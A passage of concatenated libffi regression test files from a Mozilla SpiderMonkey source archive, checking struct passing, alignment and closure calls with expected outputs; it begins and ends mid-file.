ffi_type* cls_struct_fields1[3]; ffi_type* cls_struct_fields2[3]; ffi_type cls_struct_type, cls_struct_type1, cls_struct_type2; ffi_type* dbl_arg_types[4]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; cls_struct_type1.size = 0; cls_struct_type1.alignment = 0; cls_struct_type1.type = FFI_TYPE_STRUCT; cls_struct_type1.elements = cls_struct_fields1; cls_struct_type2.size = 0; cls_struct_type2.alignment = 0; cls_struct_type2.type = FFI_TYPE_STRUCT; cls_struct_type2.elements = cls_struct_fields2; struct A e_dbl = { 1.0, 7}; struct B f_dbl = {{12.0 , 127}, 99}; struct C g_dbl = { 2, 9}; struct B res_dbl; cls_struct_fields[0] = &ffi_type_double; cls_struct_fields[1] = &ffi_type_uchar; cls_struct_fields[2] = NULL; cls_struct_fields1[0] = &cls_struct_type; cls_struct_fields1[1] = &ffi_type_uchar; cls_struct_fields1[2] = NULL; cls_struct_fields2[0] = &ffi_type_slong; cls_struct_fields2[1] = &ffi_type_uchar; cls_struct_fields2[2] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type1; dbl_arg_types[2] = &cls_struct_type2; dbl_arg_types[3] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 3, &cls_struct_type1, dbl_arg_types) == FFI_OK); args_dbl[0] = &e_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = &g_dbl; args_dbl[3] = NULL; ffi_call(&cif, FFI_FN(B_fn), &res_dbl, args_dbl); /* { dg-output "1 7 12 127 99 2 9: 15 242 143" } */ CHECK( res_dbl.x.a == (e_dbl.a + f_dbl.x.a + g_dbl.d)); CHECK( res_dbl.x.b == (e_dbl.b + f_dbl.x.b + f_dbl.y + g_dbl.e)); CHECK( res_dbl.y == (e_dbl.b + f_dbl.x.b + g_dbl.e)); CHECK(ffi_prep_closure_loc(pcl, &cif, B_gn, NULL, code) == FFI_OK); res_dbl = ((B(*)(A, B, C))(code))(e_dbl, f_dbl, g_dbl); /* { dg-output "\n1 7 12 127 99 2 9: 15 242 143" } */ CHECK( res_dbl.x.a == (e_dbl.a + f_dbl.x.a + g_dbl.d)); CHECK( res_dbl.x.b == (e_dbl.b + f_dbl.x.b + f_dbl.y + g_dbl.e)); CHECK( res_dbl.y == (e_dbl.b + f_dbl.x.b + g_dbl.e)); exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_dbls_struct.c0000664000175000017500000000250412106270662026301 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check double arguments in structs. Limitations: none. PR: none. Originator: Blake Chaffin 6/23/2007 */ /* { dg-do run } */ #include "ffitest.h" typedef struct Dbls { double x; double y; } Dbls; void closure_test_fn(Dbls p) { printf("%.1f %.1f\n", p.x, p.y); } void closure_test_gn(ffi_cif* cif __UNUSED__, void* resp __UNUSED__, void** args, void* userdata __UNUSED__) { closure_test_fn(*(Dbls*)args[0]); } int main(int argc __UNUSED__, char** argv __UNUSED__) { ffi_cif cif; void *code; ffi_closure* pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); ffi_type* cl_arg_types[1]; ffi_type ts1_type; ffi_type* ts1_type_elements[4]; ts1_type.size = 0; ts1_type.alignment = 0; ts1_type.type = FFI_TYPE_STRUCT; ts1_type.elements = ts1_type_elements; ts1_type_elements[0] = &ffi_type_double; ts1_type_elements[1] = &ffi_type_double; ts1_type_elements[2] = NULL; cl_arg_types[0] = &ts1_type; Dbls arg = { 1.0, 2.0 }; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 1, &ffi_type_void, cl_arg_types) == FFI_OK); CHECK(ffi_prep_closure_loc(pcl, &cif, closure_test_gn, NULL, code) == FFI_OK); ((void*(*)(Dbls))(code))(arg); /* { dg-output "1.0 2.0\n" } */ closure_test_fn(arg); /* { dg-output "1.0 2.0\n" } */ return 0; } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_6byte.c0000664000175000017500000000532012106270662025001 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure passing with different structure size. Depending on the ABI. Check overlapping. Limitations: none. PR: none. Originator: 20030828 */ /* { dg-do run } */ #include "ffitest.h" typedef struct cls_struct_6byte { unsigned short a; unsigned short b; unsigned char c; unsigned char d; } cls_struct_6byte; cls_struct_6byte cls_struct_6byte_fn(struct cls_struct_6byte a1, struct cls_struct_6byte a2) { struct cls_struct_6byte result; result.a = a1.a + a2.a; result.b = a1.b + a2.b; result.c = a1.c + a2.c; result.d = a1.d + a2.d; printf("%d %d %d %d %d %d %d %d: %d %d %d %d\n", a1.a, a1.b, a1.c, a1.d, a2.a, a2.b, a2.c, a2.d, result.a, result.b, result.c, result.d); return result; } static void cls_struct_6byte_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct cls_struct_6byte a1, a2; a1 = *(struct cls_struct_6byte*)(args[0]); a2 = *(struct cls_struct_6byte*)(args[1]); *(cls_struct_6byte*)resp = cls_struct_6byte_fn(a1, a2); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[5]; ffi_type* cls_struct_fields[5]; ffi_type cls_struct_type; ffi_type* dbl_arg_types[5]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; struct cls_struct_6byte g_dbl = { 127, 120, 1, 128 }; struct cls_struct_6byte f_dbl = { 12, 128, 9, 127 }; struct cls_struct_6byte res_dbl; cls_struct_fields[0] = &ffi_type_ushort; cls_struct_fields[1] = &ffi_type_ushort; cls_struct_fields[2] = &ffi_type_uchar; cls_struct_fields[3] = &ffi_type_uchar; cls_struct_fields[4] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type; dbl_arg_types[2] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &cls_struct_type, dbl_arg_types) == FFI_OK); args_dbl[0] = &g_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = NULL; ffi_call(&cif, FFI_FN(cls_struct_6byte_fn), &res_dbl, args_dbl); /* { dg-output "127 120 1 128 12 128 9 127: 139 248 10 255" } */ printf("res: %d %d %d %d\n", res_dbl.a, res_dbl.b, res_dbl.c, res_dbl.d); /* { dg-output "\nres: 139 248 10 255" } */ CHECK(ffi_prep_closure_loc(pcl, &cif, cls_struct_6byte_gn, NULL, code) == FFI_OK); res_dbl = ((cls_struct_6byte(*)(cls_struct_6byte, cls_struct_6byte))(code))(g_dbl, f_dbl); /* { dg-output "\n127 120 1 128 12 128 9 127: 139 248 10 255" } */ printf("res: %d %d %d %d\n", res_dbl.a, res_dbl.b, res_dbl.c, res_dbl.d); /* { dg-output "\nres: 139 248 10 255" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_double.c0000664000175000017500000000207112106270662025222 0ustar sstanglsstangl/* Area: closure_call Purpose: Check return value double. Limitations: none. PR: none. Originator: 20030828 */ /* { dg-do run } */ #include "ffitest.h" static void cls_ret_double_fn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { *(double *)resp = *(double *)args[0]; printf("%f: %f\n",*(double *)args[0], *(double *)resp); } typedef double (*cls_ret_double)(double); int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); ffi_type * cl_arg_types[2]; double res; cl_arg_types[0] = &ffi_type_double; cl_arg_types[1] = NULL; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 1, &ffi_type_double, cl_arg_types) == FFI_OK); CHECK(ffi_prep_closure_loc(pcl, &cif, cls_ret_double_fn, NULL, code) == FFI_OK); res = (*((cls_ret_double)code))(21474.789); /* { dg-output "21474.789000: 21474.789000" } */ printf("res: %.6f\n", res); /* { dg-output "\nres: 21474.789000" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/return_ll1.c0000664000175000017500000000204112106270662025173 0ustar sstanglsstangl/* Area: ffi_call Purpose: Check if long long are passed in the corresponding regs on ppc. Limitations: none. PR: 20104. Originator: 20050222 */ /* { dg-do run } */ /* { dg-options "-Wno-format" { target alpha*-dec-osf* } } */ #include "ffitest.h" static long long return_ll(int ll0, long long ll1, int ll2) { return ll0 + ll1 + ll2; } int main (void) { ffi_cif cif; ffi_type *args[MAX_ARGS]; void *values[MAX_ARGS]; long long rlonglong; long long ll1; unsigned ll0, ll2; args[0] = &ffi_type_sint; args[1] = &ffi_type_sint64; args[2] = &ffi_type_sint; values[0] = &ll0; values[1] = &ll1; values[2] = &ll2; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 3, &ffi_type_sint64, args) == FFI_OK); ll0 = 11111111; ll1 = 11111111111000LL; ll2 = 11111111; ffi_call(&cif, FFI_FN(return_ll), &rlonglong, values); printf("res: %" PRIdLL ", %" PRIdLL "\n", rlonglong, ll0 + ll1 + ll2); /* { dg-output "res: 11111133333222, 11111133333222" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/nested_struct10.c0000664000175000017500000000676712106270662026156 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure passing with different structure size. Contains structs as parameter of the struct itself. Sample taken from Alan Modras patch to src/prep_cif.c. Limitations: none. PR: none. Originator: 20051010 */ /* { dg-do run } */ #include "ffitest.h" typedef struct A { unsigned long long a; unsigned char b; } A; typedef struct B { unsigned char y; struct A x; unsigned int z; } B; typedef struct C { unsigned long long d; unsigned char e; } C; static B B_fn(struct A b2, struct B b3, struct C b4) { struct B result; result.x.a = b2.a + b3.x.a + b3.z + b4.d; result.x.b = b2.b + b3.x.b + b3.y + b4.e; result.y = b2.b + b3.x.b + b4.e; printf("%d %d %d %d %d %d %d %d: %d %d %d\n", (int)b2.a, b2.b, (int)b3.x.a, b3.x.b, b3.y, b3.z, (int)b4.d, b4.e, (int)result.x.a, result.x.b, result.y); return result; } static void B_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct A b0; struct B b1; struct C b2; b0 = *(struct A*)(args[0]); b1 = *(struct B*)(args[1]); b2 = *(struct C*)(args[2]); *(B*)resp = B_fn(b0, b1, b2); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[4]; ffi_type* cls_struct_fields[3]; ffi_type* cls_struct_fields1[4]; ffi_type* cls_struct_fields2[3]; ffi_type cls_struct_type, cls_struct_type1, cls_struct_type2; ffi_type* dbl_arg_types[4]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; cls_struct_type1.size = 0; cls_struct_type1.alignment = 0; cls_struct_type1.type = FFI_TYPE_STRUCT; cls_struct_type1.elements = cls_struct_fields1; cls_struct_type2.size = 0; cls_struct_type2.alignment = 0; cls_struct_type2.type = FFI_TYPE_STRUCT; cls_struct_type2.elements = cls_struct_fields2; struct A e_dbl = { 1LL, 7}; struct B f_dbl = { 99, {12LL , 127}, 255}; struct C g_dbl = { 2LL, 9}; struct B res_dbl; cls_struct_fields[0] = &ffi_type_uint64; cls_struct_fields[1] = &ffi_type_uchar; cls_struct_fields[2] = NULL; cls_struct_fields1[0] = &ffi_type_uchar; cls_struct_fields1[1] = &cls_struct_type; cls_struct_fields1[2] = &ffi_type_uint; cls_struct_fields1[3] = NULL; cls_struct_fields2[0] = &ffi_type_uint64; cls_struct_fields2[1] = &ffi_type_uchar; cls_struct_fields2[2] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type1; dbl_arg_types[2] = &cls_struct_type2; dbl_arg_types[3] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 3, &cls_struct_type1, dbl_arg_types) == FFI_OK); args_dbl[0] = &e_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = &g_dbl; args_dbl[3] = NULL; ffi_call(&cif, FFI_FN(B_fn), &res_dbl, args_dbl); /* { dg-output "1 7 12 127 99 255 2 9: 270 242 143" } */ CHECK( res_dbl.x.a == (e_dbl.a + f_dbl.x.a + f_dbl.z + g_dbl.d)); CHECK( res_dbl.x.b == (e_dbl.b + f_dbl.x.b + f_dbl.y + g_dbl.e)); CHECK( res_dbl.y == (e_dbl.b + f_dbl.x.b + g_dbl.e)); CHECK(ffi_prep_closure_loc(pcl, &cif, B_gn, NULL, code) == FFI_OK); res_dbl = ((B(*)(A, B, C))(code))(e_dbl, f_dbl, g_dbl); /* { dg-output "\n1 7 12 127 99 255 2 9: 270 242 143" } */ CHECK( res_dbl.x.a == (e_dbl.a + f_dbl.x.a + f_dbl.z + g_dbl.d)); CHECK( res_dbl.x.b == (e_dbl.b + f_dbl.x.b + f_dbl.y + g_dbl.e)); CHECK( res_dbl.y == (e_dbl.b + f_dbl.x.b + g_dbl.e)); exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/struct3.c0000664000175000017500000000230412106270662024515 0ustar sstanglsstangl/* Area: ffi_call Purpose: Check structures. Limitations: none. PR: none. Originator: From the original ffitest.c */ /* { dg-do run } */ #include "ffitest.h" typedef struct { int si; } test_structure_3; static test_structure_3 struct3(test_structure_3 ts) { ts.si = -(ts.si*2); return ts; } int main (void) { ffi_cif cif; ffi_type *args[MAX_ARGS]; void *values[MAX_ARGS]; int compare_value; ffi_type ts3_type; ffi_type *ts3_type_elements[2]; ts3_type.size = 0; ts3_type.alignment = 0; ts3_type.type = FFI_TYPE_STRUCT; ts3_type.elements = ts3_type_elements; ts3_type_elements[0] = &ffi_type_sint; ts3_type_elements[1] = NULL; test_structure_3 ts3_arg; test_structure_3 *ts3_result = (test_structure_3 *) malloc (sizeof(test_structure_3)); args[0] = &ts3_type; values[0] = &ts3_arg; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 1, &ts3_type, args) == FFI_OK); ts3_arg.si = -123; compare_value = ts3_arg.si; ffi_call(&cif, FFI_FN(struct3), ts3_result, values); printf ("%d %d\n", ts3_result->si, -(compare_value*2)); CHECK(ts3_result->si == -(compare_value*2)); free (ts3_result); exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_5byte.c0000664000175000017500000000512412106270662025002 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure passing with different structure size. Depending on the ABI. Check overlapping. Limitations: none. PR: none. Originator: 20030828 */ /* { dg-do run } */ #include "ffitest.h" typedef struct cls_struct_5byte { unsigned short a; unsigned short b; unsigned char c; } cls_struct_5byte; cls_struct_5byte cls_struct_5byte_fn(struct cls_struct_5byte a1, struct cls_struct_5byte a2) { struct cls_struct_5byte result; result.a = a1.a + a2.a; result.b = a1.b + a2.b; result.c = a1.c + a2.c; printf("%d %d %d %d %d %d: %d %d %d\n", a1.a, a1.b, a1.c, a2.a, a2.b, a2.c, result.a, result.b, result.c); return result; } static void cls_struct_5byte_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct cls_struct_5byte a1, a2; a1 = *(struct cls_struct_5byte*)(args[0]); a2 = *(struct cls_struct_5byte*)(args[1]); *(cls_struct_5byte*)resp = cls_struct_5byte_fn(a1, a2); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[5]; ffi_type* cls_struct_fields[4]; ffi_type cls_struct_type; ffi_type* dbl_arg_types[5]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; struct cls_struct_5byte g_dbl = { 127, 120, 1 }; struct cls_struct_5byte f_dbl = { 12, 128, 9 }; struct cls_struct_5byte res_dbl = { 0, 0, 0 }; cls_struct_fields[0] = &ffi_type_ushort; cls_struct_fields[1] = &ffi_type_ushort; cls_struct_fields[2] = &ffi_type_uchar; cls_struct_fields[3] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type; dbl_arg_types[2] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &cls_struct_type, dbl_arg_types) == FFI_OK); args_dbl[0] = &g_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = NULL; ffi_call(&cif, FFI_FN(cls_struct_5byte_fn), &res_dbl, args_dbl); /* { dg-output "127 120 1 12 128 9: 139 248 10" } */ printf("res: %d %d %d\n", res_dbl.a, res_dbl.b, res_dbl.c); /* { dg-output "\nres: 139 248 10" } */ res_dbl.a = 0; res_dbl.b = 0; res_dbl.c = 0; CHECK(ffi_prep_closure_loc(pcl, &cif, cls_struct_5byte_gn, NULL, code) == FFI_OK); res_dbl = ((cls_struct_5byte(*)(cls_struct_5byte, cls_struct_5byte))(code))(g_dbl, f_dbl); /* { dg-output "\n127 120 1 12 128 9: 139 248 10" } */ printf("res: %d %d %d\n", res_dbl.a, res_dbl.b, res_dbl.c); /* { dg-output "\nres: 139 248 10" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/struct9.c0000664000175000017500000000256212106270662024531 0ustar sstanglsstangl/* Area: ffi_call Purpose: Check structures. Limitations: none. PR: none. Originator: From the original ffitest.c */ /* { dg-do run } */ #include "ffitest.h" typedef struct { float f; int i; } test_structure_9; static test_structure_9 struct9 (test_structure_9 ts) { ts.f += 1; ts.i += 1; return ts; } int main (void) { ffi_cif cif; ffi_type *args[MAX_ARGS]; void *values[MAX_ARGS]; ffi_type ts9_type; ffi_type *ts9_type_elements[3]; ts9_type.size = 0; ts9_type.alignment = 0; ts9_type.type = FFI_TYPE_STRUCT; ts9_type.elements = ts9_type_elements; ts9_type_elements[0] = &ffi_type_float; ts9_type_elements[1] = &ffi_type_sint; ts9_type_elements[2] = NULL; test_structure_9 ts9_arg; /* This is a hack to get a properly aligned result buffer */ test_structure_9 *ts9_result = (test_structure_9 *) malloc (sizeof(test_structure_9)); args[0] = &ts9_type; values[0] = &ts9_arg; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 1, &ts9_type, args) == FFI_OK); ts9_arg.f = 5.55f; ts9_arg.i = 5; printf ("%g\n", ts9_arg.f); printf ("%d\n", ts9_arg.i); ffi_call(&cif, FFI_FN(struct9), ts9_result, values); printf ("%g\n", ts9_result->f); printf ("%d\n", ts9_result->i); CHECK(ts9_result->f == 5.55f + 1); CHECK(ts9_result->i == 5 + 1); free (ts9_result); exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_align_uint64.c0000664000175000017500000000511412106270662026254 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure alignment of uint64. Limitations: none. PR: none. Originator: 20031203 */ /* { dg-do run } */ /* { dg-options "-Wno-format" { target alpha*-dec-osf* } } */ #include "ffitest.h" typedef struct cls_struct_align { unsigned char a; unsigned long long b; unsigned char c; } cls_struct_align; cls_struct_align cls_struct_align_fn(struct cls_struct_align a1, struct cls_struct_align a2) { struct cls_struct_align result; result.a = a1.a + a2.a; result.b = a1.b + a2.b; result.c = a1.c + a2.c; printf("%d %" PRIdLL " %d %d %" PRIdLL " %d: %d %" PRIdLL " %d\n", a1.a, a1.b, a1.c, a2.a, a2.b, a2.c, result.a, result.b, result.c); return result; } static void cls_struct_align_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct cls_struct_align a1, a2; a1 = *(struct cls_struct_align*)(args[0]); a2 = *(struct cls_struct_align*)(args[1]); *(cls_struct_align*)resp = cls_struct_align_fn(a1, a2); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[5]; ffi_type* cls_struct_fields[4]; ffi_type cls_struct_type; ffi_type* dbl_arg_types[5]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; struct cls_struct_align g_dbl = { 12, 4951, 127 }; struct cls_struct_align f_dbl = { 1, 9320, 13 }; struct cls_struct_align res_dbl; cls_struct_fields[0] = &ffi_type_uchar; cls_struct_fields[1] = &ffi_type_uint64; cls_struct_fields[2] = &ffi_type_uchar; cls_struct_fields[3] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type; dbl_arg_types[2] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &cls_struct_type, dbl_arg_types) == FFI_OK); args_dbl[0] = &g_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = NULL; ffi_call(&cif, FFI_FN(cls_struct_align_fn), &res_dbl, args_dbl); /* { dg-output "12 4951 127 1 9320 13: 13 14271 140" } */ printf("res: %d %" PRIdLL " %d\n", res_dbl.a, res_dbl.b, res_dbl.c); /* { dg-output "\nres: 13 14271 140" } */ CHECK(ffi_prep_closure_loc(pcl, &cif, cls_struct_align_gn, NULL, code) == FFI_OK); res_dbl = ((cls_struct_align(*)(cls_struct_align, cls_struct_align))(code))(g_dbl, f_dbl); /* { dg-output "\n12 4951 127 1 9320 13: 13 14271 140" } */ printf("res: %d %" PRIdLL " %d\n", res_dbl.a, res_dbl.b, res_dbl.c); /* { dg-output "\nres: 13 14271 140" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/struct6.c0000664000175000017500000000247212106270662024526 0ustar sstanglsstangl/* Area: ffi_call Purpose: Check structures. Limitations: none. PR: none. Originator: From the original ffitest.c */ /* { dg-do run } */ #include "ffitest.h" typedef struct { float f; double d; } test_structure_6; static test_structure_6 struct6 (test_structure_6 ts) { ts.f += 1; ts.d += 1; return ts; } int main (void) { ffi_cif cif; ffi_type *args[MAX_ARGS]; void *values[MAX_ARGS]; ffi_type ts6_type; ffi_type *ts6_type_elements[3]; ts6_type.size = 0; ts6_type.alignment = 0; ts6_type.type = FFI_TYPE_STRUCT; ts6_type.elements = ts6_type_elements; ts6_type_elements[0] = &ffi_type_float; ts6_type_elements[1] = &ffi_type_double; ts6_type_elements[2] = NULL; test_structure_6 ts6_arg; /* This is a hack to get a properly aligned result buffer */ test_structure_6 *ts6_result = (test_structure_6 *) malloc (sizeof(test_structure_6)); args[0] = &ts6_type; values[0] = &ts6_arg; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 1, &ts6_type, args) == FFI_OK); ts6_arg.f = 5.55f; ts6_arg.d = 6.66; printf ("%g\n", ts6_arg.f); printf ("%g\n", ts6_arg.d); ffi_call(&cif, FFI_FN(struct6), ts6_result, values); CHECK(ts6_result->f == 5.55f + 1); CHECK(ts6_result->d == 6.66 + 1); free (ts6_result); exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_multi_sshort.c0000664000175000017500000000322512106270662026506 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check passing of multiple signed short values. Limitations: none. PR: PR13221. Originator: 20031129 */ /* { dg-do run } */ #include "ffitest.h" signed short test_func_fn(signed short a1, signed short a2) { signed short result; result = a1 + a2; printf("%d %d: %d\n", a1, a2, result); return result; } static void test_func_gn(ffi_cif *cif __UNUSED__, void *rval, void **avals, void *data __UNUSED__) { signed short a1, a2; a1 = *(signed short *)avals[0]; a2 = *(signed short *)avals[1]; *(ffi_arg *)rval = test_func_fn(a1, a2); } typedef signed short (*test_type)(signed short, signed short); int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void * args_dbl[3]; ffi_type * cl_arg_types[3]; ffi_arg res_call; unsigned short a, b, res_closure; a = 2; b = 32765; args_dbl[0] = &a; args_dbl[1] = &b; args_dbl[2] = NULL; cl_arg_types[0] = &ffi_type_sshort; cl_arg_types[1] = &ffi_type_sshort; cl_arg_types[2] = NULL; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &ffi_type_sshort, cl_arg_types) == FFI_OK); ffi_call(&cif, FFI_FN(test_func_fn), &res_call, args_dbl); /* { dg-output "2 32765: 32767" } */ printf("res: %d\n", (unsigned short)res_call); /* { dg-output "\nres: 32767" } */ CHECK(ffi_prep_closure_loc(pcl, &cif, test_func_gn, NULL, code) == FFI_OK); res_closure = (*((test_type)code))(2, 32765); /* { dg-output "\n2 32765: 32767" } */ printf("res: %d\n", res_closure); /* { dg-output "\nres: 32767" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_7_1_byte.c0000664000175000017500000000651612106270662025371 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure passing with different structure size. Depending on the ABI. Check overlapping. Limitations: none. PR: none. Originator: 20050708 */ /* { dg-do run } */ #include "ffitest.h" typedef struct cls_struct_7byte { unsigned char a; unsigned char b; unsigned char c; unsigned char d; unsigned char e; unsigned char f; unsigned char g; } cls_struct_7byte; cls_struct_7byte cls_struct_7byte_fn(struct cls_struct_7byte a1, struct cls_struct_7byte a2) { struct cls_struct_7byte result; result.a = a1.a + a2.a; result.b = a1.b + a2.b; result.c = a1.c + a2.c; result.d = a1.d + a2.d; result.e = a1.e + a2.e; result.f = a1.f + a2.f; result.g = a1.g + a2.g; printf("%d %d %d %d %d %d %d %d %d %d %d %d %d %d: %d %d %d %d %d %d %d\n", a1.a, a1.b, a1.c, a1.d, a1.e, a1.f, a1.g, a2.a, a2.b, a2.c, a2.d, a2.e, a2.f, a2.g, result.a, result.b, result.c, result.d, result.e, result.f, result.g); return result; } static void cls_struct_7byte_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct cls_struct_7byte a1, a2; a1 = *(struct cls_struct_7byte*)(args[0]); a2 = *(struct cls_struct_7byte*)(args[1]); *(cls_struct_7byte*)resp = cls_struct_7byte_fn(a1, a2); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[5]; ffi_type* cls_struct_fields[8]; ffi_type cls_struct_type; ffi_type* dbl_arg_types[5]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; struct cls_struct_7byte g_dbl = { 127, 120, 1, 3, 4, 5, 6 }; struct cls_struct_7byte f_dbl = { 12, 128, 9, 3, 4, 5, 6 }; struct cls_struct_7byte res_dbl = { 0, 0, 0, 0, 0, 0, 0 }; cls_struct_fields[0] = &ffi_type_uchar; cls_struct_fields[1] = &ffi_type_uchar; cls_struct_fields[2] = &ffi_type_uchar; cls_struct_fields[3] = &ffi_type_uchar; cls_struct_fields[4] = &ffi_type_uchar; cls_struct_fields[5] = &ffi_type_uchar; cls_struct_fields[6] = &ffi_type_uchar; cls_struct_fields[7] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type; dbl_arg_types[2] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &cls_struct_type, dbl_arg_types) == FFI_OK); args_dbl[0] = &g_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = NULL; ffi_call(&cif, FFI_FN(cls_struct_7byte_fn), &res_dbl, args_dbl); /* { dg-output "127 120 1 3 4 5 6 12 128 9 3 4 5 6: 139 248 10 6 8 10 12" } */ printf("res: %d %d %d %d %d %d %d\n", res_dbl.a, res_dbl.b, res_dbl.c, res_dbl.d, res_dbl.e, res_dbl.f, res_dbl.g); /* { dg-output "\nres: 139 248 10 6 8 10 12" } */ res_dbl.a = 0; res_dbl.b = 0; res_dbl.c = 0; res_dbl.d = 0; res_dbl.e = 0; res_dbl.f = 0; res_dbl.g = 0; CHECK(ffi_prep_closure_loc(pcl, &cif, cls_struct_7byte_gn, NULL, code) == FFI_OK); res_dbl = ((cls_struct_7byte(*)(cls_struct_7byte, cls_struct_7byte))(code))(g_dbl, f_dbl); /* { dg-output "\n127 120 1 3 4 5 6 12 128 9 3 4 5 6: 139 248 10 6 8 10 12" } */ printf("res: %d %d %d %d %d %d %d\n", res_dbl.a, res_dbl.b, res_dbl.c, res_dbl.d, res_dbl.e, res_dbl.f, res_dbl.g); /* { dg-output "\nres: 139 248 10 6 8 10 12" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_ushort.c0000664000175000017500000000211012106270662025266 0ustar sstanglsstangl/* Area: closure_call Purpose: Check return value ushort. Limitations: none. PR: none. Originator: 20030828 */ /* { dg-do run } */ #include "ffitest.h" static void cls_ret_ushort_fn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { *(ffi_arg*)resp = *(unsigned short *)args[0]; printf("%d: %d\n",*(unsigned short *)args[0], (int)*(ffi_arg *)(resp)); } typedef unsigned short (*cls_ret_ushort)(unsigned short); int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); ffi_type * cl_arg_types[2]; unsigned short res; cl_arg_types[0] = &ffi_type_ushort; cl_arg_types[1] = NULL; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 1, &ffi_type_ushort, cl_arg_types) == FFI_OK); CHECK(ffi_prep_closure_loc(pcl, &cif, cls_ret_ushort_fn, 